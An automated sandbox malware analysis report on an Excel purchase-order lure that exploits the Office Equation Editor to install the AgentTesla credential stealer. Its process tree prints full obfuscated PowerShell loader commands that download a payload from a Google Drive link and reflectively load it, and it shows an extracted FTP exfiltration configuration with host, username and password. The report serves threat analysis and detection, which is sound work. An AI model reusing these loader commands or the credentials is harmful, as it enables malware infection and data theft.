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Windows
Analysis Report
Orden de Compra No. 78986756565344657.xlam.xlsx
Overview
General Information
Detection
AgentTesla
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected AgentTesla
Yara detected AntiVM3
Yara detected Powershell download and execute
Bypasses PowerShell execution policy
Check if machine is in data center or colocation facility
Connects to a pastebin service (likely for C&C)
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Contains functionality to log keystrokes (.Net Source)
Document exploit detected (process start blacklist hit)
Injects a PE file into a foreign processes
Installs new ROOT certificates
Obfuscated command line found
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Shellcode detected
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Checks if the current process is being debugged
Contains functionality to download and execute PE files
Contains functionality to download and launch executables
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Script Initiated Connection
Sigma detected: Suspicious DNS Query for IP Lookup Service APIs
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores large binary data to the registry
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Credential Stealer
Yara signature match
Classification
- System is w7x64
- EXCEL.EXE (PID: 3252 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) - EQNEDT32.EXE (PID: 3492 cmdline:
"C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) - wscript.exe (PID: 3640 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\wedne sdaydating lover.vbs" MD5: 979D74799EA6C8B8167869A68DF5204A) - powershell.exe (PID: 3708 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' LiggJHBTaG 9NZVs0XSsk UFNob21FWz M0XSsneCcp ICggKCgndn pnaW1hZ2VV cmwgPSB3an NodHRwczov L2RyaXZlLm dvb2dsZS5j b20vdWM/ZX hwb3J0PWRv d25sb2FkJm lkPTFBSVZn SkpKdjFGNi crJ3ZTNHNV T3libkgtc0 R2VWhCWXd1 ciB3anM7dn pnd2ViQ2xp ZW50ID0gTm V3LU9iamVj dCBTeXN0ZW 0uTmV0Lldl YkNsaWVudD t2emdpbWFn ZUJ5dGVzID 0nKycgdnpn d2ViQ2xpZW 50LkRvJysn d25sb2FkJy snRGF0YSh2 emcnKydpbW FnZVVybCk7 dnpnaScrJ2 1hZ2VUZXh0 ID0gW1N5c3 RlbS5UZXh0 LkVuY29kaW 5nXTo6VVRG OC5HZXRTdH Jpbmcodnpn aW1hZ2VCeX Rlcyk7dnpn c3RhcnRGbG FnID0gd2pz PDxCQVNFNj RfU1RBUlQ+ Pndqczt2em dlbicrJ2RG bGFnID0gd2 pzPDxCQVNF NjRfRU5EPj 53anM7dnpn c3RhJysncn RJbicrJ2Rl eCA9IHZ6Z2 ltYWdlVGV4 dC5JbmRleE 9mKHZ6Z3N0 YXJ0RmxhZy k7dicrJ3pn ZW5kSW5kZX ggJysnPSB2 emdpbWFnZV RleHQuSW5k ZXhPZih2em dlbmRGJysn bGEnKydnKT t2emdzdGFy dEluZGV4IC 1nZSAwIC1h bmQgdnpnZW 5kSW5kZXgg LWd0IHZ6Z3 N0YXJ0SW5k ZXg7dnpnc3 RhcnRJbmRl eCArPSAnKy d2emdzdGFy dEZsYWcuTG VuZ3RoOycr J3Z6Z2Jhc2 UnKyc2NExl bmd0aCA9IH Z6Z2VuZElu ZGV4IC0gdi crJ3pnc3Rh cnRJbmRleD t2emdiYXNl NjRDb21tYW 5kID0gdnpn aW1hZ2VUZX h0LlN1YnN0 cmluZyh2em dzdGEnKydy dEluZGV4LC B2emdiYXNl NjRMZW5nJy sndGgpO3Z6 Z2Jhc2U2NF JldmVyc2Vk ID0gLWpvaW 4gKHZ6Z2Jh c2U2NENvbW 1hbmQuVG9D aGFyQXJyYX koKSA3TkYg Rm9yRWFjaC 1PYmplY3Qg eyB2emdfIH 0pWy0xLi4t KHZ6Z2Jhc2 U2NENvbW1h bmQuTGVuZ3 RoKV07dnpn Y29tbWFuZE J5dGVzID0g W1N5c3RlbS 5Db252ZXJ0 XTo6RnJvbU Jhc2U2NFN0 cmluZyh2em diYXNlNjRS ZXZlcicrJ3 NlZCk7dnpn bG9hZGVkQX NzZW1ibHkg PSBbU3lzdG VtLlJlZmxl Y3Rpb24uQX NzZW1ibHld OjpMb2FkKH Z6Z2NvbW1h bmRCeXRlcy k7dnpndmEn KydpTWV0aG 9kID0gW2Ru bGliLklPLk hvbWVdLkdl dE1ldGhvZC h3anNWQUl3 anMpO3Z6Z3 ZhaU1ldGhv ZC5JbnZva2 UodnpnbnVs JysnbCwgQC h3anN0eHQu dHNldGFsZG lvcmRzc3Nz c3Nzb3RpdX FlL2dyby5z bmRrY3VkLm VsaWZ5eXl5 eXlhZHNlbm Rldy8vOnAn Kyd0dGh3an MsIHdqc2Rl c2F0aXZhZG 93anMnKycs IHdqc2Rlc2 F0aXZhZG93 anMsIHdqc2 Rlc2F0aXZh ZG93anMnKy csIHdqc0Fk ZEluUHJvY2 VzczMyd2pz LCB3anNkZX NhdGl2YWRv d2pzLCB3an NkZXNhdGl2 YWRvd2pzLH dqc2Rlc2F0 aXZhZG93an Msd2pzZGVz YXRpdmFkb3 dqcyx3anNk ZXNhdGl2YW Rvd2pzLHdq c2Rlc2F0aX ZhZG93anMs d2pzZGUnKy dzYXRpdmFk b3dqcyx3an Mxd2pzLHdq c2Rlc2F0aX ZhZG93anMp KTsnKS1Dcm VwbGFjRShb Q2hhUl0xMT grW0NoYVJd MTIyK1tDaG FSXTEwMyks W0NoYVJdMz YgIC1yZVBs QUNlICAoW0 NoYVJdNTUr W0NoYVJdNz grW0NoYVJd NzApLFtDaG FSXTEyNCAt cmVQbEFDZS d3anMnLFtD aGFSXTM5KS Ap';$OWjux d = [syste m.Text.enc oding]::UT F8.GetStri ng([system .Convert]: :Frombase6 4String($c odigo));po wershell.e xe -window style hidd en -execut ionpolicy bypass -No Profile -c ommand $OW juxD MD5: EB32C070E658937AA9FA9F3AE629B2B8) - powershell.exe (PID: 3808 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and ".( $p ShoMe[4]+$ PShomE[34] +'x') ( (( 'vzgimageU rl = wjsht tps://driv e.google.c om/uc?expo rt=downloa d&id=1AIVg JJJv1F6'+' vS4sUOybnH -sDvUhBYwu r wjs;vzgw ebClient = New-Objec t System.N et.WebClie nt;vzgimag eBytes ='+ ' vzgwebCl ient.Do'+' wnload'+'D ata(vzg'+' imageUrl); vzgi'+'mag eText = [S ystem.Text .Encoding] ::UTF8.Get String(vzg imageBytes );vzgstart Flag = wjs <<BASE64_S TART>>wjs; vzgen'+'dF lag = wjs< <BASE64_EN D>>wjs;vzg sta'+'rtIn '+'dex = v zgimageTex t.IndexOf( vzgstartFl ag);v'+'zg endIndex ' +'= vzgima geText.Ind exOf(vzgen dF'+'la'+' g);vzgstar tIndex -ge 0 -and vz gendIndex -gt vzgsta rtIndex;vz gstartInde x += '+'vz gstartFlag .Length;'+ 'vzgbase'+ '64Length = vzgendIn dex - v'+' zgstartInd ex;vzgbase 64Command = vzgimage Text.Subst ring(vzgst a'+'rtInde x, vzgbase 64Leng'+'t h);vzgbase 64Reversed = -join ( vzgbase64C ommand.ToC harArray() 7NF ForEa ch-Object { vzg_ })[ -1..-(vzgb ase64Comma nd.Length) ];vzgcomma ndBytes = [System.Co nvert]::Fr omBase64St ring(vzgba se64Rever' +'sed);vzg loadedAsse mbly = [Sy stem.Refle ction.Asse mbly]::Loa d(vzgcomma ndBytes);v zgva'+'iMe thod = [dn lib.IO.Hom e].GetMeth od(wjsVAIw js);vzgvai Method.Inv oke(vzgnul '+'l, @(wj stxt.tseta ldiordssss sssotiuqe/ gro.sndkcu d.elifyyyy yyadsendew //:p'+'tth wjs, wjsde sativadowj s'+', wjsd esativadow js, wjsdes ativadowjs '+', wjsAd dInProcess 32wjs, wjs desativado wjs, wjsde sativadowj s,wjsdesat ivadowjs,w jsdesativa dowjs,wjsd esativadow js,wjsdesa tivadowjs, wjsde'+'sa tivadowjs, wjs1wjs,wj sdesativad owjs));')- CreplacE([ ChaR]118+[ ChaR]122+[ ChaR]103), [ChaR]36 - rePlACe ([ ChaR]55+[C haR]78+[Ch aR]70),[Ch aR]124 -re PlACe'wjs' ,[ChaR]39) )" MD5: EB32C070E658937AA9FA9F3AE629B2B8) - AddInProcess32.exe (PID: 3940 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Add InProcess3 2.exe" MD5: EFBCDD2A3EBEA841996AEF00417AA958)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Agent Tesla, AgentTesla | A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel. |
{"Exfil Mode": "FTP", "Host": "ftp://ftp.elquijotebanquetes.com", "Username": "mybloddycockcpanel_owner@elquijotebanquetes.com", "Password": "4r@d15PS!-!h"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
INDICATOR_XML_LegacyDrawing_AutoLoad_Document | detects AutoLoad documents using LegacyDrawing | ditekSHen |
|
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
JoeSecurity_AgentTesla_1 | Yara detected AgentTesla | Joe Security | ||
JoeSecurity_GenericDownloader_1 | Yara detected Generic Downloader | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
JoeSecurity_AgentTesla_1 | Yara detected AgentTesla | Joe Security | ||
Click to see the 9 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
JoeSecurity_AgentTesla_1 | Yara detected AgentTesla | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
JoeSecurity_GenericDownloader_1 | Yara detected Generic Downloader | Joe Security | ||
JoeSecurity_AgentTesla_1 | Yara detected AgentTesla | Joe Security | ||
Click to see the 10 entries |
Exploits |
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Source: | Author: Joe Security: |
Source: | Author: Joe Security: |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |